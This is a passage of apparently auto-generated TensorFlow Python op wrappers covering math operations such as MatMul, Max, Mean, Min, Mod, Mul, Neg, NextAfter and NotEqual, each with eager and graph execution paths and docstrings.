_attrs = ("transpose_a", _op._get_attr_bool("transpose_a"), "transpose_b",
_op._get_attr_bool("transpose_b"), "T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"MatMul", _inputs_flat, _attrs, _result)
_result, = _result
return _result
MatMul = tf_export("raw_ops.MatMul")(_ops.to_raw_op(mat_mul))
def mat_mul_eager_fallback(a, b, transpose_a, transpose_b, name, ctx):
if transpose_a is None:
transpose_a = False
transpose_a = _execute.make_bool(transpose_a, "transpose_a")
if transpose_b is None:
transpose_b = False
transpose_b = _execute.make_bool(transpose_b, "transpose_b")
_attr_T, _inputs_T = _execute.args_to_matching_eager([a, b], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
(a, b) = _inputs_T
_inputs_flat = [a, b]
_attrs = ("transpose_a", transpose_a, "transpose_b", transpose_b, "T",
_attr_T)
_result = _execute.execute(b"MatMul", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"MatMul", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def _max(input, axis, keep_dims=False, name=None):
r"""Computes the maximum of elements across dimensions of a tensor.
Reduces `input` along the dimensions given in `axis`. Unless
`keep_dims` is true, the rank of the tensor is reduced by 1 for each entry in
`axis`. If `keep_dims` is true, the reduced dimensions are
retained with length 1.
Args:
input: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`, `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
The tensor to reduce.
axis: A `Tensor`. Must be one of the following types: `int32`, `int64`.
The dimensions to reduce. Must be in the range
`[-rank(input), rank(input))`.
keep_dims: An optional `bool`. Defaults to `False`.
If true, retain reduced dimensions with length 1.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `input`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Max", name, input, axis, "keep_dims", keep_dims)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return _max_eager_fallback(
input, axis, keep_dims=keep_dims, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Max", input=input, reduction_indices=axis, keep_dims=keep_dims,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("keep_dims", _op._get_attr_bool("keep_dims"), "T",
_op._get_attr_type("T"), "Tidx", _op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Max", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Max = tf_export("raw_ops.Max")(_ops.to_raw_op(_max))
def _max_eager_fallback(input, axis, keep_dims, name, ctx):
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ])
_attr_Tidx, (axis,) = _execute.args_to_matching_eager([axis], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [input, axis]
_attrs = ("keep_dims", keep_dims, "T", _attr_T, "Tidx", _attr_Tidx)
_result = _execute.execute(b"Max", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Max", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.maximum', 'maximum')
def maximum(x, y, name=None):
r"""Returns the max of x and y (i.e. x > y ? x : y) element-wise.
Example:
>>> x = tf.constant([0., 0., 0., 0.])
>>> y = tf.constant([-2., 0., 2., 5.])
>>> tf.math.maximum(x, y)
<tf.Tensor: shape=(4,), dtype=float32, numpy=array([0., 0., 2., 5.], dtype=float32)>
Note that `maximum` supports [broadcast semantics](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html) for `x` and `y`.
>>> x = tf.constant([-5., 0., 0., 0.])
>>> y = tf.constant([-3.])
>>> tf.math.maximum(x, y)
<tf.Tensor: shape=(4,), dtype=float32, numpy=array([-3., 0., 0., 0.], dtype=float32)>
The reduction version of this elementwise operation is `tf.math.reduce_max`
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`, `uint8`, `uint16`, `uint32`, `uint64`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Maximum", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return maximum_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
maximum, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Maximum", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
maximum, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Maximum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Maximum = tf_export("raw_ops.Maximum")(_ops.to_raw_op(maximum))
def maximum_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.uint8, _dtypes.uint16, _dtypes.uint32, _dtypes.uint64, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Maximum", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Maximum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def mean(input, axis, keep_dims=False, name=None):
r"""Computes the mean of elements across dimensions of a tensor.
Reduces `input` along the dimensions given in `axis`. Unless
`keep_dims` is true, the rank of the tensor is reduced by 1 for each entry in
`axis`. If `keep_dims` is true, the reduced dimensions are
retained with length 1.
Args:
input: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
The tensor to reduce.
axis: A `Tensor`. Must be one of the following types: `int32`, `int64`.
The dimensions to reduce. Must be in the range
`[-rank(input), rank(input))`.
keep_dims: An optional `bool`. Defaults to `False`.
If true, retain reduced dimensions with length 1.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `input`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Mean", name, input, axis, "keep_dims", keep_dims)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return mean_eager_fallback(
input, axis, keep_dims=keep_dims, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Mean", input=input, reduction_indices=axis, keep_dims=keep_dims,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("keep_dims", _op._get_attr_bool("keep_dims"), "T",
_op._get_attr_type("T"), "Tidx", _op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Mean", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Mean = tf_export("raw_ops.Mean")(_ops.to_raw_op(mean))
def mean_eager_fallback(input, axis, keep_dims, name, ctx):
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tidx, (axis,) = _execute.args_to_matching_eager([axis], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [input, axis]
_attrs = ("keep_dims", keep_dims, "T", _attr_T, "Tidx", _attr_Tidx)
_result = _execute.execute(b"Mean", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Mean", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def _min(input, axis, keep_dims=False, name=None):
r"""Computes the minimum of elements across dimensions of a tensor.
Reduces `input` along the dimensions given in `axis`. Unless
`keep_dims` is true, the rank of the tensor is reduced by 1 for each entry in
`axis`. If `keep_dims` is true, the reduced dimensions are
retained with length 1.
Args:
input: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`, `qint8`, `quint8`, `qint32`, `qint16`, `quint16`.
The tensor to reduce.
axis: A `Tensor`. Must be one of the following types: `int32`, `int64`.
The dimensions to reduce. Must be in the range
`[-rank(input), rank(input))`.
keep_dims: An optional `bool`. Defaults to `False`.
If true, retain reduced dimensions with length 1.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `input`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Min", name, input, axis, "keep_dims", keep_dims)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return _min_eager_fallback(
input, axis, keep_dims=keep_dims, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Min", input=input, reduction_indices=axis, keep_dims=keep_dims,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("keep_dims", _op._get_attr_bool("keep_dims"), "T",
_op._get_attr_type("T"), "Tidx", _op._get_attr_type("Tidx"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Min", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Min = tf_export("raw_ops.Min")(_ops.to_raw_op(_min))
def _min_eager_fallback(input, axis, keep_dims, name, ctx):
if keep_dims is None:
keep_dims = False
keep_dims = _execute.make_bool(keep_dims, "keep_dims")
_attr_T, (input,) = _execute.args_to_matching_eager([input], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.qint16, _dtypes.quint16, ])
_attr_Tidx, (axis,) = _execute.args_to_matching_eager([axis], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [input, axis]
_attrs = ("keep_dims", keep_dims, "T", _attr_T, "Tidx", _attr_Tidx)
_result = _execute.execute(b"Min", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Min", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.minimum', 'minimum')
def minimum(x, y, name=None):
r"""Returns the min of x and y (i.e. x < y ? x : y) element-wise.
Both inputs are number-type tensors (except complex). `minimum` expects that
both tensors have the same `dtype`.
Examples:
>>> x = tf.constant([0., 0., 0., 0.])
>>> y = tf.constant([-5., -2., 0., 3.])
>>> tf.math.minimum(x, y)
<tf.Tensor: shape=(4,), dtype=float32, numpy=array([-5., -2., 0., 0.], dtype=float32)>
Note that `minimum` supports [broadcast semantics](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html) for `x` and `y`.
>>> x = tf.constant([-5., 0., 0., 0.])
>>> y = tf.constant([-3.])
>>> tf.math.minimum(x, y)
<tf.Tensor: shape=(4,), dtype=float32, numpy=array([-5., -3., -3., -3.], dtype=float32)>
The reduction version of this elementwise operation is `tf.math.reduce_min`
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `uint8`, `int16`, `int32`, `int64`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Minimum", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return minimum_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
minimum, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Minimum", x=x, y=y, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
minimum, (), dict(x=x, y=y, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Minimum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Minimum = tf_export("raw_ops.Minimum")(_ops.to_raw_op(minimum))
def minimum_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.uint8, _dtypes.int16, _dtypes.int32, _dtypes.int64, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Minimum", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Minimum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def mod(x, y, name=None):
r"""Returns element-wise remainder of division. This emulates C semantics in that
the result here is consistent with a truncating divide. E.g.
`tf.truncatediv(x, y) * y + truncate_mod(x, y) = x`.
*NOTE*: `Mod` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`. Must be one of the following types: `int32`, `int64`, `half`, `half`, `bfloat16`, `float32`, `float64`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Mod", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return mod_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Mod", x=x, y=y, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Mod", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Mod = tf_export("raw_ops.Mod")(_ops.to_raw_op(mod))
def mod_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.int32, _dtypes.int64, _dtypes.half, _dtypes.half, _dtypes.bfloat16, _dtypes.float32, _dtypes.float64, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Mod", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Mod", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def mul(x, y, name=None):
r"""Returns x * y element-wise.
*NOTE*: `Multiply` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `uint8`, `int8`, `uint16`, `int16`, `int32`, `uint32`, `uint64`, `int64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Mul", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return mul_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Mul", x=x, y=y, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Mul", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Mul = tf_export("raw_ops.Mul")(_ops.to_raw_op(mul))
def mul_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.uint8, _dtypes.int8, _dtypes.uint16, _dtypes.int16, _dtypes.int32, _dtypes.uint32, _dtypes.uint64, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Mul", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Mul", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def mul_no_nan(x, y, name=None):
r"""Returns x * y element-wise. Returns zero if y is zero, even if x if infinite or NaN.
*NOTE*: `MulNoNan` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
y: A `Tensor`. Must have the same type as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "MulNoNan", name, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return mul_no_nan_eager_fallback(
x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"MulNoNan", x=x, y=y, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"MulNoNan", _inputs_flat, _attrs, _result)
_result, = _result
return _result
MulNoNan = tf_export("raw_ops.MulNoNan")(_ops.to_raw_op(mul_no_nan))
def mul_no_nan_eager_fallback(x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"MulNoNan", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"MulNoNan", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def ndtri(x, name=None):
r"""TODO: add doc.
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Ndtri", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return ndtri_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Ndtri", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Ndtri", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Ndtri = tf_export("raw_ops.Ndtri")(_ops.to_raw_op(ndtri))
def ndtri_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Ndtri", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Ndtri", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.negative', 'negative')
def neg(x, name=None):
r"""Computes numerical negative value element-wise.
I.e., \\(y = -x\\).
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int8`, `int16`, `int32`, `int64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Neg", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return neg_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
neg, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Neg", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
neg, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Neg", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Neg = tf_export("raw_ops.Neg")(_ops.to_raw_op(neg))
def neg_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int8, _dtypes.int16, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Neg", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Neg", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.nextafter')
def next_after(x1, x2, name=None):
r"""Returns the next representable value of `x1` in the direction of `x2`, element-wise.
This operation returns the same result as the C++ std::nextafter function.
It can also return a subnormal number.
@compatibility(cpp)
Equivalent to C++ std::nextafter function.
@end_compatibility
Args:
x1: A `Tensor`. Must be one of the following types: `float64`, `float32`.
x2: A `Tensor`. Must have the same type as `x1`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x1`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "NextAfter", name, x1, x2)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return next_after_eager_fallback(
x1, x2, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
next_after, (), dict(x1=x1, x2=x2, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"NextAfter", x1=x1, x2=x2, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
next_after, (), dict(x1=x1, x2=x2, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"NextAfter", _inputs_flat, _attrs, _result)
_result, = _result
return _result
NextAfter = tf_export("raw_ops.NextAfter")(_ops.to_raw_op(next_after))
def next_after_eager_fallback(x1, x2, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x1, x2], ctx, [_dtypes.float64, _dtypes.float32, ], _dtypes.float32)
(x1, x2) = _inputs_T
_inputs_flat = [x1, x2]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"NextAfter", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"NextAfter", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def not_equal(x, y, incompatible_shape_error=True, name=None):
r"""Returns the truth value of (x != y) element-wise.
*NOTE*: `NotEqual` supports broadcasting. More about broadcasting
[here](http://docs.scipy.org/doc/numpy/user/basics.broadcasting.html)
Args:
x: A `Tensor`.
y: A `Tensor`. Must have the same type as `x`.
incompatible_shape_error: An optional `bool`. Defaults to `True`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `bool`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "NotEqual", name, x, y, "incompatible_shape_error",
incompatible_shape_error)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return not_equal_eager_fallback(
x, y, incompatible_shape_error=incompatible_shape_error, name=name,
ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if incompatible_shape_error is None:
incompatible_shape_error = True
incompatible_shape_error = _execute.make_bool(incompatible_shape_error, "incompatible_shape_error")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"NotEqual", x=x, y=y,
incompatible_shape_error=incompatible_shape_error,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "incompatible_shape_error",
_op._get_attr_bool("incompatible_shape_error"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"NotEqual", _inputs_flat, _attrs, _result)
_result, = _result
return _result
NotEqual = tf_export("raw_ops.NotEqual")(_ops.to_raw_op(not_equal))
def not_equal_eager_fallback(x, y, incompatible_shape_error, name, ctx):
if incompatible_shape_error is None:
incompatible_shape_error = True
incompatible_shape_error = _execute.make_bool(incompatible_shape_error, "incompatible_shape_error")
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [])
(x, y) = _inputs_T
_inputs_flat = [x, y]
_attrs = ("T", _attr_T, "incompatible_shape_error",
incompatible_shape_error)
_result = _execute.execute(b"NotEqual", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
